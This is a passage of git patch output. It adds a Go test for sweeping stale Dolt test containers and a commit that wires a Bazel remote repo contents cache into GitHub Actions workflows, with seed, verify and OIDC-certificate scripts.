+func TestSweepStaleDoltContainers(t *testing.T) { + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + // The sweep acts on containers, so it needs docker whichever backend + // BEADS_TEST_DOLT_SERVER selects; under the local one checkDolt only finds + // the dolt CLI (the dolt-server lane's remote workers have no docker). + if !useLocalDoltServer() { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if !isDockerAvailable() || !isDoltImageCached() { + t.Skipf("container backend not available on this host (docker + %s)", DoltDockerImage) + } + if host, err := os.Hostname(); err != nil || host == "" { + t.Skipf("hostname unavailable: %v", err) + } + + start := func(t *testing.T, ownerPID int) string { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) + defer cancel() + ctr, err := dolt.Run(ctx, DoltDockerImage, + dolt.WithDatabase("beads_test"), + testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + testcontainers.WithLabels(ownerLabelValues(ownerPID)), + ) + if err != nil { + t.Fatalf("starting Dolt container: %v", err) + } + t.Cleanup(func() { + // Best effort: the dead-owned container is expected to be gone. + _ = testcontainers.TerminateContainer(ctr) + }) + return ctr.GetContainerID() + } + + // A sibling test binary's sweep (go test ./... runs them in parallel) + // removes a container as soon as it sees the owner dead, even mid-start. + // So the dead-owned container's owner is a child process that runs until + // the container is up and its volumes are read, and only then exits. + owner := exec.Command("sleep", "600") // outlives both starts + if err := owner.Start(); err != nil { + t.Fatalf("starting the owner process: %v", err) + } + endOwner := sync.OnceFunc(func() { + _ = owner.Process.Kill() + // Reaped, its pid reports ESRCH; a zombie would still read as alive. + _ = owner.Wait() + }) + t.Cleanup(endOwner) + + deadOwned := start(t, owner.Process.Pid) + liveOwned := start(t, os.Getpid()) + deadVolumes := containerVolumes(t, deadOwned) + if len(deadVolumes) == 0 { + t.Fatalf("dead-owned container %s has no volume; %s no longer declares VOLUME /var/lib/dolt?", deadOwned, DoltDockerImage) + } + endOwner() + + removed := sweepStaleDoltContainers() + + // Once its owner has exited, a sibling's sweep may remove the dead-owned + // container first, or still be removing it when ours fails to, so only + // its end state is checked, and given time to settle. + if slices.Contains(removed, liveOwned) { + t.Errorf("sweep removed the live-owned container %s", liveOwned) + } + if !dockerObjectGone("inspect", deadOwned) { + t.Errorf("dead-owned container %s still exists after the sweep", deadOwned) + } + for _, v := range deadVolumes { + if !dockerObjectGone("volume", "inspect", v) { + t.Errorf("volume %s of the dead-owned container survived the sweep", v) + } + } + if err := exec.Command("docker", "inspect", liveOwned).Run(); err != nil { + t.Errorf("live-owned container %s missing after the sweep: %v", liveOwned, err) + } +} + +// dockerObjectGone reports whether `docker args...`, an inspect of one object, +// starts failing within sweepTimeout, which also bounds a sibling's removal. +func dockerObjectGone(args ...string) bool { + deadline := time.Now().Add(sweepTimeout) + for exec.Command("docker", args...).Run() == nil { + if time.Now().After(deadline) { + return false + } + time.Sleep(100 * time.Millisecond) + } + return true +} + +// containerVolumes returns the names of the volumes mounted into container id. +func containerVolumes(t *testing.T, id string) []string { + t.Helper() + out, err := exec.Command("docker", "inspect", "--format", + `{{range .Mounts}}{{if eq .Type "volume"}}{{.Name}} {{end}}{{end}}`, id).Output() + if err != nil { + t.Fatalf("docker inspect %s: %v", id, err) + } + return strings.Fields(string(out)) +} diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index ad7ca817e..771ddb1c9 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -180,6 +180,7 @@ func startDoltContainer() error { ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), // Docker port-forwarding makes connections appear as non-localhost @@ -187,6 +188,7 @@ func startDoltContainer() error { // "localhost", so root@localhost won't match external connections. // Set to "%" so root can connect from any host. testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { return fmt.Errorf("starting Dolt container: %w", err) @@ -434,9 +436,11 @@ func startIsolatedDoltContainer(t *testing.T) *IsolatedDoltContainer { t.Helper() ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { t.Fatalf("starting Dolt container: %v", err) From f53010a23b0a169473b7da7a364d3dc60014ea79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 02:50:26 +0000 Subject: [PATCH 092/213] ci(bazel): remote repo contents cache: main-push seed, lane readers, nightly verify (#7453) Port gascity's remote repo contents cache wiring (gascity #7467, #7478) to bazel.yml, gated on the repository variable RBE_REPO_CONTENTS_CACHE (unset/off: nothing; seed: rrc-seed on push to main; canary: + bazel-test reads; on: + every test lane reads). Mode remote only. - rbe job: an rrc step turns the variable into the rrc output. - Readers: the eight test lanes append startup --experimental_remote_repo_contents_cache and common --loading_phase_threads=64 to .bazelrc.local before Set up Bazel. - rrc-seed (push to main, id-token: write): a 30-minute rbe-rrc-writer-beads certificate from rbe-west's mint (.github/scripts/rrc-writer-credential.sh), then every lane's command (.github/scripts/rrc-lane-commands.txt) with --nobuild, --remote_cache only and --remote_upload_local_results (.github/scripts/rrc-run-lanes.sh). - rrc-verify (schedule/dispatch, issues: write): cold fetch of every lane and tools/bazel/rrc_verify.py against the cache; a mismatch opens an rrc-verify issue. - pr.yml, nightly.yml and bazel-farm.yml grant id-token: write and issues: write on their bazel.yml call (startup_failure otherwise); TestBazelWorkflowCallersGrantEveryRequestedPermission guards it. rrc-writer-credential.sh, rrc_verify.py and rrc_verify_test.py are byte copies of gascity's, pinned by sha256. Refs ga-vnycm2.29. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/rrc-lane-commands.txt | 15 + .github/scripts/rrc-run-lanes.sh | 51 ++ .github/scripts/rrc-writer-credential.sh | 113 ++++ .github/workflows/bazel-farm.yml | 10 + .github/workflows/bazel.yml | 246 +++++++ .github/workflows/nightly.yml | 12 + .github/workflows/pr.yml | 10 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 32 + scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 4 +- scripts/bazel_farm_workflow_test.go | 49 +- scripts/bazel_rrc_test.go | 783 +++++++++++++++++++++++ scripts/ci_analytics_workflow_test.go | 2 + scripts/ci_blacksmith_runner_test.go | 4 +- scripts/ci_workflow_test.go | 37 +- scripts/rbe_worker_env_test.go | 15 +- scripts/tracked_files_test.go | 13 +- tools/bazel/rrc_verify.py | 620 ++++++++++++++++++ tools/bazel/rrc_verify_test.py | 323 ++++++++++ 19 files changed, 2310 insertions(+), 30 deletions(-) create mode 100644 .github/scripts/rrc-lane-commands.txt create mode 100755 .github/scripts/rrc-run-lanes.sh create mode 100755 .github/scripts/rrc-writer-credential.sh create mode 100644 scripts/bazel_rrc_test.go create mode 100644 tools/bazel/rrc_verify.py create mode 100644 tools/bazel/rrc_verify_test.py diff --git a/.github/scripts/rrc-lane-commands.txt b/.github/scripts/rrc-lane-commands.txt new file mode 100644 index 000000000..08bd7eb5e --- /dev/null +++ b/.github/scripts/rrc-lane-commands.txt @@ -0,0 +1,15 @@ +# Every bazel.yml lane's loading and analysis, for the remote repo contents +# cache: rrc-seed runs each line with --nobuild on a push to main (uploading +# the repositories it fetches) and rrc-verify runs each cold every night. +# One `bazel` command per line (no shell quoting); # starts a comment. +# scripts/bazel_rrc_test.go checks that every --config a reading lane's +# bazel command uses appears here. +test //... --config=ci +test //... --config=embedded +test //... --config=integration +test //... --config=doltserver +test //... --config=doltserver-proxied +test //... --config=doltserver-integration +test //... --config=doltserver-cmd +build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test +build --config=js-wasm //internal/hooks:hooks_test diff --git a/.github/scripts/rrc-run-lanes.sh b/.github/scripts/rrc-run-lanes.sh new file mode 100755 index 000000000..d5f329a84 --- /dev/null +++ b/.github/scripts/rrc-run-lanes.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash +# Loading and analysis of every bazel.yml lane, for the remote repo contents +# cache (bazel.yml's rrc-seed and rrc-verify jobs). +# +# Usage: rrc-run-lanes.sh [STARTUP_FLAG...] -- [COMMAND_FLAG...] +# +# Runs `bazel STARTUP_FLAG... --nobuild COMMAND_FLAG...` for each +# command line in .github/scripts/rrc-lane-commands.txt (or RRC_LANE_COMMANDS), +# in order, stopping at the first failure. --nobuild: repository rules, +# loading and analysis only, never a build or test action. +# +# Bazel exits 1 after `test --nobuild` even when loading and analysis succeed +# ("Couldn't start the build. Unable to run tests"). A command passes when it +# exits 0, or exits non-zero having printed "Build completed successfully" +# and no ERROR line but that one. +set -euo pipefail + +startup=() +while [ $# -gt 0 ] && [ "$1" != -- ]; do + startup+=("$1") + shift +done +[ $# -gt 0 ] || { + echo "usage: rrc-run-lanes.sh [STARTUP_FLAG...] -- [COMMAND_FLAG...]" >&2 + exit 2 +} +shift +flags=("$@") + +file=${RRC_LANE_COMMANDS:-$(dirname "${BASH_SOURCE[0]}")/rrc-lane-commands.txt} +mapfile -t cmds < <(sed -e 's/#.*//' -e 's/[[:space:]]*$//' "$file" | grep -v '^[[:space:]]*$' || true) +if [ "${#cmds[@]}" -eq 0 ]; then + echo "::error::no lane commands in $file" + exit 1 +fi + +log=$(mktemp) +trap 'rm -f "$log"' EXIT +summary=${GITHUB_STEP_SUMMARY:-/dev/null} +for cmd in "${cmds[@]}"; do + read -r -a args <<<"$cmd" + start=$(date +%s) + rc=0 + bazel ${startup[@]+"${startup[@]}"} "${args[@]}" --nobuild ${flags[@]+"${flags[@]}"} &1 | tee "$log" || rc=$? + if [ "$rc" -ne 0 ] && grep -q '^INFO: Build completed successfully' "$log" && + ! grep '^ERROR:' "$log" | grep -qv "^ERROR: Couldn't start the build. Unable to run tests$"; then + rc=0 + fi + echo "rrc: \`bazel $cmd\`: exit $rc, $(($(date +%s) - start))s" | tee -a "$summary" + [ "$rc" -eq 0 ] || exit "$rc" +done diff --git a/.github/scripts/rrc-writer-credential.sh b/.github/scripts/rrc-writer-credential.sh new file mode 100755 index 000000000..a650c7ddc --- /dev/null +++ b/.github/scripts/rrc-writer-credential.sh @@ -0,0 +1,113 @@ +#!/usr/bin/env bash +# A 30-minute rbe-west client certificate for the remote repo contents cache +# writer (bazel.yml's rrc-seed job; engdocs/design/bazel-remote-repo-contents-cache.md). +# +# The job trades its GitHub Actions OIDC token (audience rbe-rrc-writer) for a +# certificate CN=rbe-rrc-writer from rbe-west's mint. The mint signs only for +# this repository's bazel.yml on a push to main (repository, ref, event_name +# and job_workflow_ref claims); pull_request, fork and Dependabot runs cannot +# get one (no OIDC token, or a refs/pull/N/merge one). On rbe-west that +# certificate reaches only GetCapabilities, the CAS and an action cache front +# (rrc-gate) that admits repo-contents entries and refuses everything else, so +# it can never write an execution result or execute anything. +# +# The key is an EC P-256 key (PKCS#8: Bazel's Netty TLS refuses a SEC1 "EC +# PRIVATE KEY") generated here in BAZEL_CI_SECRET_DIR, outside the workspace; +# it never leaves the runner. The OIDC token is masked. Outputs (to +# $GITHUB_OUTPUT when set, else stdout): cert, key, endpoint, instance; none +# when the mint answers 503 or cannot be reached (seeding switched off on +# rbe-west: infra nativelink-cas/west/README.md "Client contract"), which +# exits 0 with a warning. +# +# Tests only: RBE_RRC_MINT (a stand-in mint) and RBE_RRC_ENDPOINT_RE. +set -euo pipefail +MINT=${RBE_RRC_MINT:-https://rbe-mint.ops.gascity.com:8444} +ENDPOINT_RE=${RBE_RRC_ENDPOINT_RE:-'^grpcs://rbe-west\.ops\.gascity\.com(:443)?$'} +AUDIENCE=rbe-rrc-writer +dir=${BAZEL_CI_SECRET_DIR:?BAZEL_CI_SECRET_DIR is required} +out=${GITHUB_OUTPUT:-/dev/stdout} + +if [ -z "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" ] || [ -z "${ACTIONS_ID_TOKEN_REQUEST_TOKEN:-}" ]; then + echo "::error title=rrc writer::no OIDC token request URL; the job needs permissions: id-token: write" >&2 + exit 1 +fi + +install -d -m 0700 "$dir" +umask 077 + +oidc=$(curl -sS --fail --connect-timeout 5 --max-time 30 --retry 3 --retry-all-errors \ + -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ + "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=$AUDIENCE" | jq -r '.value // empty') +if [ -z "$oidc" ]; then + echo "::error title=rrc writer::GitHub returned no OIDC token" >&2 + exit 1 +fi +printf '::add-mask::%s\n' "$oidc" + +openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out "$dir/rrc-writer.key" 2>/dev/null +csr=$(openssl req -new -key "$dir/rrc-writer.key" -subj "/CN=rbe-rrc-writer-request") +body=$(jq -cn --arg csr "$csr" '{csr_pem: $csr}') + +reply="$dir/rrc-mint.json" +code=000 +for attempt in 1 2 3 4; do + # --connect-timeout: a closed gate drops the SYN; fail fast, not in 60 s. + code=$(curl -sS -o "$reply" -w '%{http_code}' --connect-timeout 5 --max-time 60 \ + -H "Authorization: Bearer $oidc" -H 'content-type: application/json' \ + --data "$body" "$MINT/v1/rrc-writer/cert") || code=000 + # Retry what may pass on its own: a rate limit (429), the mint could not + # reach GitHub's JWKS (502), or the network (000). Everything else is an + # answer. + case "$code" in 429 | 502 | 000) ;; *) break ;; esac + [ "$attempt" -eq 4 ] || sleep $((attempt * 10)) +done +case "$code" in +200) ;; +503 | 000) + # The mint's switch is off, its CA is not installed, or rbe-west's fork + # edge is closed: seeding is off, not broken. No outputs, so the seed + # step skips; the push to main never fails on it. + echo "::warning title=rrc writer: seeding off (HTTP $code)::$(jq -r '.error // empty' "$reply" 2>/dev/null || true)" + exit 0 + ;; +*) + echo "::error title=rrc writer mint refused (HTTP $code)::$(jq -r '.error // empty' "$reply" 2>/dev/null || true)" + exit 1 + ;; +esac + +endpoint=$(jq -r '.endpoint // empty' "$reply") +instance=$(jq -r '.instance // empty' "$reply") +[[ $endpoint =~ $ENDPOINT_RE ]] || { + echo "::error::rrc writer mint returned endpoint '$endpoint'" >&2 + exit 1 +} +[ "$instance" = oss ] || { + echo "::error::rrc writer mint returned instance '$instance', want oss" >&2 + exit 1 +} +jq -r '.cert_pem // empty' "$reply" >"$dir/rrc-writer.crt" +subject=$(openssl x509 -in "$dir/rrc-writer.crt" -noout -subject -nameopt RFC2253) || { + echo "::error::rrc writer mint returned no certificate" >&2 + exit 1 +} +rdns=$(tr ',' '\n' <<<"${subject#subject=}") +cn=$(sed -n 's/^CN=//p' <<<"$rdns") +org=$(sed -n 's/^O=//p' <<<"$rdns") +if ! [[ $cn =~ ^rbe-rrc-writer(-[a-z0-9]+)?$ ]] || [ "$org" != gascity ]; then + echo "::error::rrc writer mint returned a certificate for '$subject'" >&2 + exit 1 +fi +# The certificate must belong to the key generated above. +if [ "$(openssl x509 -in "$dir/rrc-writer.crt" -noout -pubkey | openssl sha256)" != "$(openssl pkey -in "$dir/rrc-writer.key" -pubout | openssl sha256)" ]; then + echo "::error::rrc writer mint returned a certificate for another key" >&2 + exit 1 +fi +openssl x509 -in "$dir/rrc-writer.crt" -noout -subject -enddate +rm -f "$reply" +{ + echo "cert=$dir/rrc-writer.crt" + echo "key=$dir/rrc-writer.key" + echo "endpoint=$endpoint" + echo "instance=$instance" +} >>"$out" diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml index 7ab2c0a7b..caeb0ad2f 100644 --- a/.github/workflows/bazel-farm.yml +++ b/.github/workflows/bazel-farm.yml @@ -120,8 +120,18 @@ jobs: name: Bazel Farm needs: authorize if: ${{ needs.authorize.outputs.allowed == 'true' }} + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). Neither runs for this event, every other + # bazel.yml job keeps contents: read, and rbe-west's mint refuses any OIDC + # token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). permissions: contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml # Exactly the four RBE secrets: never the rbe-prewarm app private key # (B1, security review of bdef342d5). This pull_request_target run is diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index eeb98a410..ce9bf223b 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -424,6 +424,7 @@ jobs: enabled: ${{ steps.decide.outputs.enabled }} mode: ${{ steps.decide.outputs.mode }} tier: ${{ steps.decide.outputs.tier }} + rrc: ${{ steps.rrc.outputs.rrc }} steps: # The expressions' == is case-insensitive (RBE_WEST_WORKERS=True counts). # A push, merge_group or dispatch has no pull_request, so FORK is false. @@ -496,6 +497,37 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, rbe=cache: $RBE_INPUT_CACHE, fork: $FORK, dependabot: $DEPENDABOT, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + # Bazel's remote repo contents cache on rbe-west (ga-vnycm2.29, ported + # from gascity's bazel.yml; gascity + # engdocs/design/bazel-remote-repo-contents-cache.md): extracted + # external repositories (go_deps, the Go SDK, the LLVM slice) come from + # rbe-west's action cache instead of being re-fetched by every cold lane + # client. vars.RBE_REPO_CONTENTS_CACHE rolls it out: + # unset/off nothing (the default); + # seed main pushes seed the cache (rrc-seed); no lane reads it; + # canary seed, and bazel-test reads; + # on seed, and every lane in .github/scripts/rrc-lane-commands.txt + # reads. + # Mode remote only: fork pull_request runs see no vars, and only + # rbe-west's trusted edge serves the entries. Any other value is off, + # with a warning, so a typo never fails the required gate. Like decide, + # this step runs no repository code (it comes before the checkout). + - name: Remote repo contents cache + id: rrc + env: + RRC: ${{ vars.RBE_REPO_CONTENTS_CACHE }} + MODE: ${{ steps.decide.outputs.mode }} + run: | + rrc=off + case "$RRC" in + "" | off) ;; + seed | canary | on) + if [ "$MODE" = remote ]; then rrc=$RRC; fi ;; + *) echo "::warning title=RBE_REPO_CONTENTS_CACHE::unknown value '$RRC' (want off, seed, canary or on); treated as off" ;; + esac + echo "rrc=$rrc" >> "$GITHUB_OUTPUT" + echo "Remote repo contents cache: **$rrc**" >> "$GITHUB_STEP_SUMMARY" + # The worker-env preflight (see the job's comment): the PR's own copy, # so a PR that syncs it passes. Only the two paths it compares. - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 @@ -785,6 +817,22 @@ jobs: - name: Verify restored Go modules run: go mod verify + # The remote repo contents cache, read-only (the rbe job's rrc output: + # canary, bazel-test; on, every lane). Each cached repository costs + # several sequential round trips, resolved on Skyframe's loading + # threads (default: the CPU count), so without 64 of them a cached read + # is slower than fetching. Both lines are key neutral (startup and + # loading only). Reading only: setup-bazel's rc keeps + # --noremote_upload_local_results, so nothing here writes; rrc-seed + # writes, on push to main. Before Set up Bazel: no server starts first. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && (needs.rbe.outputs.rrc == 'on' || needs.rbe.outputs.rrc == 'canary') }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1045,6 +1093,15 @@ jobs: with: node-version: '24' + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1333,6 +1390,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1505,6 +1571,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1650,6 +1725,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1770,6 +1854,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1922,6 +2015,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -2085,6 +2187,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -2432,3 +2543,138 @@ jobs: env: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # The remote repo contents cache's only writer (ga-vnycm2.29, ported from + # gascity's bazel.yml). On a push to main, with the rbe job's rrc not off, + # run every lane's loading and analysis (.github/scripts/rrc-lane-commands.txt, + # --nobuild): only main's repository rules and Starlark run (gazelle's + # fetch_repo, the Go SDK and LLVM downloads, extraction: what every lane + # already runs on its runner), never a build or test action. Bazel uploads + # each reproducible repository's tree (--remote_upload_local_results) with + # a 30-minute rbe-rrc-writer-beads certificate that rbe-west's mint signs + # only for this workflow on a push to main + # (.github/scripts/rrc-writer-credential.sh); rbe-west's rrc-gate admits + # repo-contents entries from it and refuses every other action cache + # write, and the certificate cannot Execute. Cache only (--remote_cache, + # no executor). Not a lane: no result output, never in pr.yml's gate + # (which never sees it anyway: push only), so a failed seed only leaves the + # lanes fetching. setup-bazel runs in local mode (no secrets): its rc, the + # runner cache and the pinned Bazel, nothing else. The only bazel.yml job + # with id-token: write; every caller must grant it (GitHub checks a called + # workflow's job permissions at startup, even for a job that skips), and + # the mint refuses any token but a main-push bazel.yml one. + rrc-seed: + name: repo contents cache seed + needs: rbe + if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }} + runs-on: blacksmith-8vcpu-ubuntu-2404 + timeout-minutes: 30 + permissions: + contents: read + id-token: write # the rbe-rrc-writer-beads certificate (GitHub OIDC) + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Set up Bazel + uses: ./.github/actions/setup-bazel + - name: rbe-rrc-writer certificate + id: writer + env: + BAZEL_CI_SECRET_DIR: ${{ runner.temp }}/bazel-ci-secret + run: bash .github/scripts/rrc-writer-credential.sh + - name: Seed the remote repo contents cache + if: ${{ steps.writer.outputs.cert != '' }} + env: + CERT: ${{ steps.writer.outputs.cert }} + KEY: ${{ steps.writer.outputs.key }} + ENDPOINT: ${{ steps.writer.outputs.endpoint }} + INSTANCE: ${{ steps.writer.outputs.instance }} + run: >- + bash .github/scripts/rrc-run-lanes.sh --experimental_remote_repo_contents_cache -- + --loading_phase_threads=64 + "--remote_cache=$ENDPOINT" "--remote_instance_name=$INSTANCE" + "--tls_client_certificate=$CERT" "--tls_client_key=$KEY" + --remote_upload_local_results + - name: Remove the writer key + if: ${{ always() }} + run: rm -f -- "$RUNNER_TEMP/bazel-ci-secret/rrc-writer.key" "$RUNNER_TEMP/bazel-ci-secret/rrc-writer.crt" + + # Nightly check of the remote repo contents cache (gascity design R1/R2). A + # cached repository tree is trusted by every reader, and nothing on the + # reader checks it against what its rule produces. So, from nightly.yml (or + # a dispatch), fetch every lane's repositories cold (rrc-lane-commands.txt + # with --nobuild and no repo contents cache, Bazel set up exactly as a + # lane) and compare each repository's tree and marker with the cached + # entry a lane would read for the same key (tools/bazel/rrc_verify.py, + # reads only, with the lanes' certificate and the endpoint from + # setup-bazel's rc: no secret is referenced outside setup-bazel). A + # mismatch is a poisoned entry or a rule falsely marked reproducible: the + # job fails and opens (or comments on) an rrc-verify issue. Not a lane: + # never gated. The only bazel.yml job with issues: write; every caller + # must grant it, as for rrc-seed's id-token. + rrc-verify: + name: repo contents cache verify + needs: rbe + if: ${{ (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }} + runs-on: blacksmith-8vcpu-ubuntu-2404 + timeout-minutes: 45 + permissions: + contents: read + issues: write # the rrc-verify alert issue + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Set up Bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + - name: Cold fetch (every lane, no repo contents cache) + run: bash .github/scripts/rrc-run-lanes.sh -- --loading_phase_threads=64 + - name: Compare with the cache + id: verify + run: | + set -euo pipefail + secret_dir="$RUNNER_TEMP/bazel-ci-secret" + prefix='build:remote-exec --remote_executor=' + endpoint=$(grep -F -m1 "$prefix" "$secret_dir/ci.bazelrc" || true) + endpoint=${endpoint#"$prefix"} + [ -n "$endpoint" ] || { echo "::error::setup-bazel's rc names no executor"; exit 1; } + python3 tools/bazel/rrc_verify.py \ + --output-base "$(bazel info output_base)" \ + --endpoint "$endpoint" --instance oss \ + --cert "$secret_dir/client.crt" --key "$secret_dir/client.key" \ + --bazel-version "$(tr -d '[:space:]' < .bazelversion)" \ + --json "$RUNNER_TEMP/rrc-verify.json" --summary "$GITHUB_STEP_SUMMARY" + - name: Upload the report + if: ${{ always() && hashFiles(format('{0}/rrc-verify.json', runner.temp)) != '' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: rrc-verify-${{ github.run_attempt }} + path: ${{ runner.temp }}/rrc-verify.json + retention-days: 30 + - name: Alert (rrc-verify issue) + if: ${{ failure() && steps.verify.outcome == 'failure' }} + env: + GH_TOKEN: ${{ github.token }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + set -euo pipefail + title="rrc-verify: remote repo contents cache differs from a cold fetch" + body="The nightly rrc-verify run found cached repository trees that differ from a cold fetch, or could not check them: $RUN_URL (summary and the rrc-verify report artifact). + + A mismatch is a poisoned entry or a repository rule falsely marked reproducible (gascity engdocs/design/bazel-remote-repo-contents-cache.md, R1/R2). Stop readers first: set the repository variable RBE_REPO_CONTENTS_CACHE to off. Then follow gascity/infra nativelink-cas/west/README.md (remote repo contents cache writer, poisoned entries)." + gh label create rrc-verify -R 